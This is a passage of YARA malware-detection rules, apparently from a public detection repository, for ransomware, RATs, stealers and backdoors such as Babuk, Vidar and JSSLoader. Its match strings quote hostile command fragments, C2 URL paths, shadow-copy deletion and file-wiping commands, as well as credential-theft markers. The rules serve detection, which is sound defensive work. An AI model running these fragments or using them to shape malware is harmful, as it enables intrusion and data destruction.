		logic_hash = "e8c7c03451bbfcba7a1ab02f8c1320ad50d17d2e990f0e2f89942faea2a1e531"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.DLAgent05"
	strings:
		$s1 = "MARCUS.dll" fullword ascii wide
		$s2 = "GZipStream" fullword ascii
		$s3 = "MemoryStream" fullword ascii
		$s4 = "proj_name" fullword ascii
		$s5 = "res_name" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_Nemty : FILE
{
	meta:
		description = "Detects Nemty/Nefilim ransomware"
		author = "ditekSHen"
		id = "361269c6-5215-5ecf-869c-3c55ff8387e1"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3553-L3577"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "dcebcddc472f4fb3bb34c35fc5a5424e54bfc3a262fdae10b189d210217b9b37"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Go build ID:" ascii
		$s2 = "GOMAXPROCSGetIfEntryGetVersionGlagoliticKharoshthiManichaeanOld_ItalicOld_PermicOld_TurkicOther_MathPOSTALCODEPhoenicianSaurasht" ascii
		$s3 = "crypto/x509.ExtKeyUsage" ascii
		$s4 = "crypto/x509.KeyUsageContentCommitment" ascii
		$s5 = "DEK-Info header" ascii
		$s6 = "GetUserProfileDirectoryWMagallanes Standard TimeMontevideo Standard TimeNorth Asia Standard TimePacific SA Standard TimeQueryPerformanceCounter" fullword ascii
		$s7 = "*( -  <  =  >  k= m=%: +00+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12..." ascii
		$s8 = "Go cmd/compile go1.10" fullword ascii
		$s9 = ".dllprogramdatarecycle.bin" ascii
		$s10 = ".dll.exe.lnk.sys.url" ascii
		$vx1_1 = "Fa1led to os.OpenFile()" ascii
		$vx1_2 = "-HELP.txt" ascii
		$vf1_1 = "main.CTREncrypt" fullword ascii
		$vf1_2 = "main.FileSearch" fullword ascii
		$vf1_3 = "main.getdrives" fullword ascii
		$vf1_4 = "main.RSAEncrypt" fullword ascii
		$vf1_5 = "main.SaveNote" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 9 of ( $s* ) or ( all of ( $vx* ) and 2 of ( $s* ) ) or all of ( $vf* ) )
}

rule DITEKSHEN_MALWARE_Win_Qnapcrypt : FILE
{
	meta:
		description = "Detects QnapCrypt/Lockedv1/Cryptfile2 ransomware"
		author = "ditekSHen"
		id = "3ef5643a-f2af-5d62-8927-e46679e069c2"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3579-L3607"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "68fc3f0503d82295ffa5bfb49bda8b790142913217775a2812e3965a6c9a1fe1"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$go = "Go build ID:" ascii
		$s1 = "Encrypting %s..." ascii
		$s2 = "\\Start Menu\\Programs\\StartUp\\READMEV" ascii
		$s3 = "main.deleteRecycleBin" ascii
		$s4 = "main.encryptFiles" ascii
		$s5 = "main.antiVirtualBox" ascii
		$s6 = "main.antiVmware" ascii
		$s7 = "main.deleteShadows" ascii
		$s8 = "main.delUAC" ascii
		$s9 = "main.KillProcess" ascii
		$s10 = "main.delExploit" ascii
		$s11 = "main.encrypt" ascii
		$s12 = "main.ClearLogDownload" ascii
		$s13 = "main.ClearLog" ascii
		$s14 = "main.EndEncrypt" ascii
		$s15 = "main.RunFuckLogAndSoft" ascii
		$s16 = "main.ClearUsercache" ascii
		$s17 = "main.FirstDuty" ascii
		$s18 = ".lockedv1" ascii
		$s19 = "WSAStartup\\clear.bat\\ngrok.exe\\video.mp4" ascii
		$s20 = "net stop " ascii
	condition:
		uint16( 0 ) == 0x5a4d and $go and 6 of ( $s* )
}

rule DITEKSHEN_MALWARE_Win_Vidar : FILE
{
	meta:
		description = "Detects Vidar / ArkeiStealer"
		author = "ditekSHen"
		id = "d858c463-26d7-5f96-ad9a-cb261a8c61c6"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3640-L3650"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "c95c8694c05ff0e8d28f098e668a8ae8fa70130e31af6c0e540c4e5596007e41"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "\"os_crypt\":{\"encrypted_key\":\"" fullword ascii
		$s2 = "screenshot.jpg" fullword wide
		$s3 = "Content-Disposition: form-data; name=\"" ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_Babuk : FILE
{
	meta:
		description = "Detects Babuk ransomware"
		author = "ditekSHen"
		id = "6bb7093f-bbef-5b43-b4f9-be72ae4ef319"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3652-L3674"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "5ca5c5106747cf8f4ccd5df4ddbc78321fea3c8f533cb807a704d270eb956007"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "ecdh_pub_k.bin" wide
		$s2 = "How To Restore Your Files.txt" wide
		$s3 = /(babuk|babyk)\s(ransomware|locker)/ ascii nocase
		$s4 = "/login.php?id=" ascii
		$s5 = "http://babuk" ascii
		$s6 = "bootsect.bak" fullword wide
		$s7 = "Can't open file after killHolder" ascii
		$s8 = "Can't OpenProcess" ascii
		$s9 = "DoYouWantToHaveSexWithCuongDong" ascii
		$arg1 = "-lanfirst" fullword ascii
		$arg2 = "-lansecond" fullword ascii
		$arg3 = "-nolan" fullword ascii
		$arg4 = "shares" fullword wide
		$arg5 = "paths" fullword wide
		$arg6 = "gdebug" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 3 of ( $s* ) or ( 3 of ( $arg* ) and 2 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Nitol : FILE
{
	meta:
		description = "Detects Nitol backdoor"
		author = "ditekSHen"
		id = "d545f826-11ff-5d0f-9a95-8232b19d35b6"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3676-L3704"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "c0ddcd6179bea2f3af77ae198e07f55f62884e07a975623ae41bcec163060f89"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$s1 = "%$#@!.aspGET ^&*().htmlGET" ascii
		$s2 = "Applications\\iexplore.exe\\shell\\open\\command" fullword ascii
		$s3 = "taskkill /f /im rundll32.exe" fullword ascii
		$s4 = "\\Tencent\\Users\\*.*" fullword ascii
		$s5 = "[Pause Break]" fullword ascii
		$s6 = ":]%d-%d-%d  %d:%d:%d" fullword ascii
		$s7 = "GET %s HTTP/1.1" fullword ascii
		$s8 = "GET %s%s HTTP/1.1" fullword ascii
		$s9 = "Accept-Language: zh-cn" fullword ascii
		$s10 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows 5.1)" fullword ascii
		$s11 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01)" fullword ascii
		$s12 = "User-Agent:Mozilla/4.0 (compatible; MSIE %d.0; Windows NT %d.1; SV1)" fullword ascii
		$w1 = ".aspGET" ascii
		$w2 = ".htmGET" ascii
		$w3 = ".htmlGET" ascii
		$domain = "www.xy999.com" fullword ascii
		$v2_1 = "loglass" fullword ascii
		$v2_2 = "rlehgs" fullword ascii
		$v2_3 = "eherrali" fullword ascii
		$v2_4 = "agesrlu" fullword ascii
		$v2_5 = "lepejagas" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 5 of ( $s* ) or ( all of ( $v2* ) ) or ( $domain and 3 of them ) or ( #w1 > 2 and #w2 > 2 and #w3 > 2 and 3 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Strongpity : FILE
{
	meta:
		description = "Detects StrongPity"
		author = "ditekSHen"
		id = "9dcc5edb-5c86-5412-af63-f88d488d5829"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3706-L3720"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "e92147966cd68152eb536b805c4918462f72f64280d1b3df800bb41266aa232f"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Boundary%08X" ascii wide
		$s2 = "Content-Disposition: form-data; name=\"file\";" fullword ascii
		$s3 = "%sfilename=\"%ls\"" fullword ascii
		$s4 = "name=%ls&delete=" fullword ascii
		$s5 = "Content-Type: application/octet-stream" fullword ascii
		$s6 = "cmd.exe /C ping" wide
		$s7 = "& rmdir /Q /S \"" wide
	condition:
		uint16( 0 ) == 0x5a4d and 5 of them
}

rule DITEKSHEN_MALWARE_Win_Jssloader : FILE
{
	meta:
		description = "Detects JSSLoader RAT/backdoor"
		author = "ditekSHen"
		id = "ef710c21-5c64-513e-b882-b5768478976e"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3722-L3752"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "91764dabfb40cb51914110de229ddb00cd565078fef83c825f7a86fa502fda37"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$cmd1 = "Cmd_UPDATE" fullword ascii
		$cmd2 = "Cmd_IDLE" fullword ascii
		$cmd3 = "Cmd_EXE" fullword ascii
		$cmd4 = "Cmd_VBS" fullword ascii
		$cmd5 = "Cmd_JS" fullword ascii
		$cmd6 = "Cmd_PWS" fullword ascii
		$cmd7 = "Cmd_RAT" fullword ascii
		$cmd8 = "Cmd_UNINST" fullword ascii
		$cmd9 = "Cmd_RunDll" fullword ascii
		$s1 = "ANSWER_OK" fullword ascii
		$s2 = "GatherDFiles" ascii
		$s3 = "CommandCd" fullword ascii
		$s4 = "URL_GetCmd" fullword ascii
		$s5 = "\"host\": \"{0}\", \"domain\": \"{1}\", \"user\": \"{2}\"" wide
		$s6 = "pc_dns_host_name" wide
		$s7 = "\"adinfo\": { \"adinformation\":" wide
		$e1 = "//e:vbscript" wide
		$e2 = "//e:jscript" wide
		$e3 = "/c rundll32.exe" wide
		$e4 = "/C powershell" wide
		$e5 = "C:\\Windows\\System32\\cmd.exe" wide
		$e6 = "echo del /f" wide
		$e7 = "AT.U() {0}. format" wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 5 of ( $cmd* ) or 5 of ( $s* ) or all of ( $e* ) or 7 of them )
}

rule DITEKSHEN_MALWARE_Win_CHUWI_Seth : FILE
{
	meta:
		description = "First sighting on 2020-01-05 didn't include ransomware artificats. Second sighting on 2020-01-24 with several correlations between the two samples now include ransomware artifacts."
		author = "ditekSHen"
		id = "62af3cd3-59c3-580b-9d66-71fd4acfaf17"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3754-L3801"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "e6e3f5e9af093268667f67fec2176a943b35721e9f220804e176c6b5a3bb24e1"
		score = 75
		quality = 73
		tags = "FILE"
		snort2_sid = "920103-920105"
		snort3_sid = "920101-920103"
	strings:
		$cmd1 = "shell_command" fullword ascii
		$cmd2 = "check_command" fullword ascii
		$cmd3 = "down_exec" fullword ascii
		$cmd4 = "open_link" fullword ascii
		$cmd5 = "down_exec" fullword ascii
		$cmd6 = "exe_link" fullword ascii
		$cmd7 = "shellCommand" fullword ascii
		$cmd8 = "R_CMMAND" fullword ascii
		$cnc1 = "/check_command.php?HWID=" ascii
		$cnc2 = "&act=get_command" ascii
		$cnc3 = "/get_command.php?hwid=" ascii
		$cnc4 = "&command=down_exec" ascii
		$cnc5 = "&command=message" ascii
		$cnc6 = "&command=open_link" ascii
		$cnc7 = "&command=down_exec" ascii
		$cnc8 = "&command=shell" ascii
		$pdb = "\\Users\\CHUWI\\Documents\\CPROJ\\Downloader\\svchost" ascii
		$rcnc1 = "inc/check_command.php" ascii
		$rcnc2 = "inc/get_command.php" ascii
		$rcnc3 = "php?btc" ascii
		$rcnc4 = "php?hwid" ascii
		$x1 = "> %USERPROFILE%\\Desktop\\HOW_DECRYPT_FILES.seth.txt" ascii
		$x2 = "/C dir /b %USERPROFILE%\\Documents > %temp%\\doc.txt" ascii
		$x3 = "/C dir /b %USERPROFILE%\\Desktop > %temp%\\desk.txt" ascii
		$x4 = "/C dir /b %USERPROFILE%\\Downloads > %temp%\\downs.txt" ascii
		$x5 = "/C dir /b %USERPROFILE%\\Pictures > %temp%\\pics.txt" ascii
		$x6 = "for /F \"delims=\" %%a in ('mshta.exe \"%~F0\"') do set \"HTA=%%a\"" ascii
		$x7 = "\\svchost.exe" fullword ascii
		$x8 = ".seth" fullword ascii
		$x9 = "MyAgent" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( $pdb or 5 of ( $cmd* ) or 4 of ( $cnc* ) or all of ( $rcnc* ) or 5 of ( $x* ) or 8 of them )
}

rule DITEKSHEN_MALWARE_Linux_Ransomexx : FILE
{
	meta:
		description = "Detects RansomEXX ransomware"
		author = "ditekshen"
		id = "b449afc7-9055-55ed-a876-316d1aea8fee"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3834-L3858"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "c233ccc3e741cb2c53f182c48093e41595a82a3f4e5bdb1dc0204f1f57b96c2a"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Linux.Ransomware.RansomEXX"
	strings:
		$c1 = "crtstuff.c" fullword ascii
		$c2 = "cryptor.c" fullword ascii
		$c3 = "ransomware.c" fullword ascii
		$c4 = "logic.c" fullword ascii
		$c5 = "enum_files.c" fullword ascii
		$c6 = "readme.c" fullword ascii
		$c7 = "ctr_drbg.c" fullword ascii
		$s1 = "regenerate_pre_data" fullword ascii
		$s2 = "g_RansomHeader" fullword ascii
		$s3 = "CryptOneBlock" fullword ascii
		$s4 = "RansomLogic" fullword ascii
		$s5 = "CryptOneFile" fullword ascii
		$s6 = "encrypt_worker" fullword ascii
		$s7 = "list_dir" fullword ascii
		$s8 = "ctr_drbg_update_internal" fullword ascii
	condition:
		uint16( 0 ) == 0x457f and ( 5 of ( $c* ) or 6 of ( $s* ) or ( 3 of ( $c* ) and 3 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Gaudox : FILE
{
	meta:
		description = "Detects Gaudox RAT"
		author = "ditekshen"
		id = "c60ac433-20a1-5f01-9447-fa99621bd9e2"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3883-L3893"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "117ee89e264067ab3e695688872bbe7d83963731e877d04ac7e2505e64f6e793"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "hdr=%s&tid;=%s&cid;=%s&trs;=%i" ascii wide
		$s2 = "\\\\\\\\.\\\\PhysicalDrive%u" ascii wide
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_Ratty : FILE
{
	meta:
		description = "Detects Ratty Java RAT"
		author = "ditekshen"
		id = "87719e28-dfe7-5366-8d90-65e6c0c6fb4f"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3910-L3929"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "d90bca1b18023da8e60cb6ca86d1c562bff3867c6d5cf893dce605ebb92b9637"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "/rat/RattyClient.class" ascii
		$s2 = "/rat/ActiveConnection.class" ascii
		$s3 = "/rat/attack/" ascii
		$s4 = "/rat/gui/swing/Ratty" ascii
		$s5 = "/rat/packet/PasswordPacket" ascii
		$s6 = "/rat/packet/" ascii
		$e1 = "/engine/Keyboard.class" ascii
		$e2 = "/engine/IMouseListener.class" ascii
		$e3 = "/engine/Screen$ResizeBehavior.class" ascii
		$e4 = "/engine/fx/ISoundListener.class" ascii
		$e5 = "/engine/net/TCPServer.class" ascii
		$e6 = "/engine/noise/PerlinNoise.class" ascii
	condition:
		( uint16( 0 ) == 0x5a4d or uint16( 0 ) == 0xcfd0 or uint16( 0 ) == 0x4b50 ) and ( 3 of ( $s* ) or all of ( $e* ) )
}

rule DITEKSHEN_MALWARE_Win_Fatduke : FILE
{
	meta:
		description = "Detects FatDuke"
		author = "ditekSHen"
		id = "dc80c0f0-c61c-5f0c-841b-3a75e8a1cef3"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3931-L3946"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "a7923d15b10098e9402614fe7107a6ba1d71512efa6e462d522ef64e13f82b47"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "\\\\?\\Volume" fullword ascii
		$s2 = "WINHTTP_AUTOPROXY_OPTIONS@@PAUWINHTTP_PROXY_INFO@@" ascii
		$s3 = "WINHTTP_CURRENT_USER_IE_PROXY_CONFIG@@" ascii
		$s4 = "Cannot write a Cannot find the too long string mber of records Log malfunction! Cannot create ain an invalid ra Internal sync iright function iWaitForSingleObjffsets" ascii
		$pattern = "()$^.*+?[]|\\-{},:=!" ascii
		$b64 = "eyJjb25maWdfaWQiOi" wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 3 of ( $s* ) or ( $b64 and 2 of them ) or ( #pattern > 3 and 2 of them ) )
}

rule DITEKSHEN_MALWARE_Win_Miniduke : FILE
{
	meta:
		description = "Detects MiniDuke"
		author = "ditekSHen"
		id = "947cd414-d19d-5543-8961-94aef69cc94e"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L3948-L3969"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "c3ab139b4fda2ff9678ceecbdf5ac0c57536bd658f62aa9d19610028b0a5f92c"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "DefPipe" fullword ascii
		$s2 = "term %5d" fullword ascii
		$s3 = "pid %5d" fullword ascii
		$s4 = "uptime %5d.%02dh" fullword ascii
		$s5 = "login: %s\\%s" fullword ascii
		$s6 = "Software\\Microsoft\\ApplicationManager" ascii
		$s7 = { 69 64 6c 65 ?? 00 73 74 6f 70 ?? 00 61 63 63 65 70 74 ?? 00 63 6f 6e 6e 65 63 74 ?? 00 6c 69 73 74 65 6e ?? 00 }
		$net1 = "salesappliances.com" ascii
		$net2 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36" fullword ascii
		$net3 = "http://10." ascii
		$net4 = "JiM9t8g7j8KoJkLJlKqka8dbo7q5z4v5u3o4z" ascii
		$net5 = "application/octet-stream" ascii
		$net6 = "Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 5 of ( $s* ) or 4 of ( $net* ) or 7 of them )
}


rule DITEKSHEN_MALWARE_Win_WSHRATJS : FILE
{
	meta:
		description = "Detects WSHRAT JS variants"
		author = "ditekSHen"
		id = "7dbaea67-48dc-5fb8-ba58-b0d6eeca207b"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4028-L4045"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "9956ed4613ac403360ab0222a7ed62350fcd998710843bd6700717f8bbb5052e"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$charset_full = "us-ascii" nocase ascii
		$charset_begin = "\"us-\"" nocase ascii
		$charset_end = "Array(97,115,99,105,105)" nocase ascii
		$wsc_object1 = "WScript.CreateObject(\"System.Text.UTF8Encoding" nocase ascii
		$wsc_object2 = "WScript.CreateObject(\"Adodb.Stream" nocase ascii
		$wsc_object3 = "WScript.CreateObject(\"Microsoft.XmlDom" nocase ascii
		$s1 = "function(){return" ascii
		$s2 = "}catch(err){" ascii
		$s3 = "{item: \"bin.base64\"}" nocase ascii
		$s4 = "* 1].item =" ascii
	condition:
		filesize < 400KB and ( $charset_full or ( $charset_begin and $charset_end ) ) and 2 of ( $wsc_object* ) and 3 of ( $s* )
}

rule DITEKSHEN_MALWARE_Win_Spyeye : FILE
{
	meta:
		description = "Detects SpyEye"
		author = "ditekSHen"
		id = "aa15220a-6fd4-5c5e-8287-957fc3c3fe52"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4096-L4111"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "352853d600d1f4fbc09e58b783eb4e13b335fefbfe89842873710f0a9085d107"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$x1 = "_CLEANSWEEP_" ascii wide
		$x2 = "config.datUT" fullword ascii
		$x3 = "webinjects.txtUT" fullword ascii
		$s1 = "confirm:processCommand" fullword ascii
		$s2 = "Smth wrong with navigate to REF-PAGE (err code: %d). 0_o" fullword ascii
		$s3 = "(UTC%s%2.2f) %s" fullword wide
		$s4 = "M\\F;u`r" fullword ascii
		$s5 = "]YH0%Yn" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 2 of ( $x* ) or ( 1 of ( $x* ) and 1 of ( $s* ) ) )
}


rule DITEKSHEN_MALWARE_Win_Epsilon : FILE
{
	meta:
		description = "Detects Epsilon ransomware"
		author = "ditekSHen"
		id = "c5561a0d-85ac-5137-a97e-310aa03eb787"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4137-L4169"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "cc4481ddb6f5fd52a0bc901dde4c34ccf79024cd68605245df0dcbea22d0adee"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = ".Speak \"" wide
		$s2 = "chkUpdateRegistry" fullword wide
		$s3 = "/C choice /C Y /N /D Y /T 1 & Del \"" fullword wide
		$s4 = "CreateObject(\"sapi.spvoice\")" fullword wide
		$s5 = "READ_ME.hta" wide
		$s6 = "WScript.Sleep(" wide
		$s7 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" fullword wide
		$s8 = "<div class='bold'>Files are encrypted* but not deleted.</div>" ascii
		$e1 = { 72 00 75 00 6e 00 64 00 6c 00 6c 00 2e 00 65 00
                78 00 65 00 00 09 2e 00 74 00 78 00 74 00 00 09
                2e 00 64 00 6f 00 63 00 00 0b 2e 00 64 00 6f 00
                63 00 78 00 00 09 2e 00 78 00 6c 00 73 00 00 0d
                2e 00 69 00 6e 00 64 00 65 00 78 00 00 09 2e 00
                70 00 64 00 66 00 00 09 2e 00 7a 00 69 00 70 00
                00 09 2e 00 72 00 61 00 72 00 00 09 2e 00 63 00
                73 00 73 00 00 09 2e 00 6c 00 6e 00 6b 00 00 0b
                2e 00 78 00 6c 00 73 00 78 00 00 09 2e 00 70 00
                70 00 74 00 00 0b 2e 00 70 00 70 00 74 00 78 00
                00 09 2e 00 6f 00 64 00 }
		$e2 = { 68 00 74 00 6d 00 00 07 2e 00 6d 00 6c 00 00 07
                43 00 3a 00 5c 00 00 07 44 00 3a 00 5c 00 00 07
                45 00 3a 00 5c 00 00 07 46 00 3a 00 5c 00 00 07
                47 00 3a 00 5c 00 00 07 5a 00 3a 00 5c 00 00 07
                41 00 3a 00 5c 00 00 0f 63 00 6d 00 64 00 2e 00
                65 00 78 00 65 }
	condition:
		uint16( 0 ) == 0x5a4d and ( 6 of ( $s* ) or ( all of ( $e* ) and 4 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Dllloader : FILE
{
	meta:
		description = "Detects unknown DLL Loader"
		author = "ditekSHen"
		id = "164967b8-d0f5-543d-82ac-bb2465b85c2a"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4228-L4239"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "aaf1ff0f93d1fe6cf189c9f30403c226e64146178150dff8dfd3a9e3ed84bcc2"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "LondLibruryA" fullword ascii
		$s2 = "LdrLoadDll" fullword ascii
		$s3 = "snxhk.dll" fullword ascii
		$s4 = "DisableThreadLibraryCalls" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_Warezov : FILE
{
	meta:
		description = "Detects Warezov worm/downloader"
		author = "ditekSHen"
		id = "8cb1dcb1-981d-5ff2-b0d9-aa18dfbfc795"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4255-L4269"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "e65922902fd18175a3ce7b600d46535e92b92240fa3ca83dced6f9ce14f3e815"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "ft\\Windows\\CurrentVersion\\Run" wide
		$s2 = "DIR%SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" wide
		$s3 = "%WINDIR%\\sqhos32.wmf" wide
		$s4 = "Accept: */*" fullword ascii
		$s5 = "Range: bytes=" fullword ascii
		$s6 = "module.exe" fullword ascii
		$s7 = { 25 73 25 73 2e 25 73 ?? ?? 22 22 26 6c 79 79 56 00 00 00 00 25 73 25 30 34 64 25 30 32 64 25 30 32 64 00 }
	condition:
		uint16( 0 ) == 0x5a4d and 4 of them
}

rule DITEKSHEN_MALWARE_Win_Killmbr : FILE
{
	meta:
		description = "Detects KillMBR"
		author = "ditekSHen"
		id = "b109865f-e268-5633-bb8e-f390dd050d99"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L4305-L4316"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "1ed9206f90052df7e533be4612afa373e5e69fba8f5b5ae4df1c09a9d98958cf"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "\\\\.\\PhysicalDrive" ascii
		$s2 = "/logger.php" ascii
		$s3 = "Ooops! Your MBR was been rewritten" ascii
